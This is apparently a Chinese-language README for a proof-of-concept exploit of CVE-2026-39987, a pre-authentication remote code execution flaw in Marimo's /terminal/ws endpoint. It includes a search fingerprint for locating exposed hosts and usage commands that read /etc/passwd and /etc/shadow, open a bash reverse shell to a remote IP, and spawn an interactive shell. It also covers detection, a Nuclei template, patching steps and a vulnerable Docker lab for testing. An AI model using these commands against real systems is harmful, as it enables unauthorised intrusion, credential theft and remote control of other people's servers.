此脚本仅用于教育目的和授权测试。 未经明确许可,将此工具用于针对系统的未授权使用是违法的。 作者不对滥用此信息的行为承担任何责任。
Marimo 0.23.0 之前的版本存在一个严重的无需预先认证的远程代码执行(RCE)漏洞。/terminal/ws 端点未实施适当的访问控制,允许未认证的攻击者获得系统的完整交互式 shell。
| 详情 | 信息 |
|---|---|
| CVE | CVE-2026-39987 |
| 严重性 | 严重 |
| CVSS 评分 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| 类型 | 预认证远程代码执行(RCE) |
| 攻击向量 | WebSocket(/terminal/ws) |
| 受影响产品 | Marimo < 0.23.0 |
| 补丁 | Marimo ≥ 0.23.0 |
http.favicon.hash:-1864630356
text
-1864630356/api/versionpip install websockets requests
基本用法
bash
python CVE-2026-39987_PoC.py http://victima.com:8080 "id"
示例
bash
# 获取系统信息
python CVE-2026-39987_PoC.py http://target.com:8080 "id"
python CVE-2026-39987_PoC.py http://target.com:8080 "uname -a"
python CVE-2026-39987_PoC.py http://target.com:8080 "whoami"
# 读取敏感文件
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/passwd"
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/shadow"
# 反向 shell
python CVE-2026-39987_PoC.py http://target.com:8080 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
# 交互式 shell
python CVE-2026-39987_PoC.py http://target.com:8080 "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
🛡️ 检测(安全)
被动检测脚本
bash
python detector.py -u http://target.com:8080
python detector.py -l urls.txt
Nuclei 模板
yaml
# marimo-cve-2026-39987.yaml
id: CVE-2026-39987
info:
name: Marimo < 0.23.0 Pre-Auth RCE
severity: critical
# ... (完整模板已包含)
🔧 修复措施
立即执行
将系统从网络中**断开**(如果已暴露)
阻止对 Marimo 运行端口的访问
检查日志中是否有可疑活动
长期措施
bash
# 更新到已修补版本
pip install --upgrade marimo>=0.23.0
# 验证版本
marimo --version
# 如果公开暴露,请配置身份验证
# 切勿将 'marimo edit' 直接暴露到互联网
Docker(易受攻击环境)
bash
# 运行易受攻击版本进行测试
docker run -p 8080:8080 marimo-team/marimo:0.22.0
# 验证漏洞
python CVE-2026-39987_detector.py http://localhost:8080
# 利用
python CVE-2026-39987_PoC.py http://localhost:8080 "id"
GitHub 安全公告
NVD 条目
Pull Request #9098
Marimo 文档
👥 致谢
发现者:[研究人员姓名]
PoC 开发:[您的姓名]
补丁:Marimo 团队
📜 许可证
此项目仅用于教育目的。使用此软件风险自负。
⭐ 如果此 README 对您有帮助,请考虑给该仓库点个星。
⚠️ 请记住:能力越大,责任越大。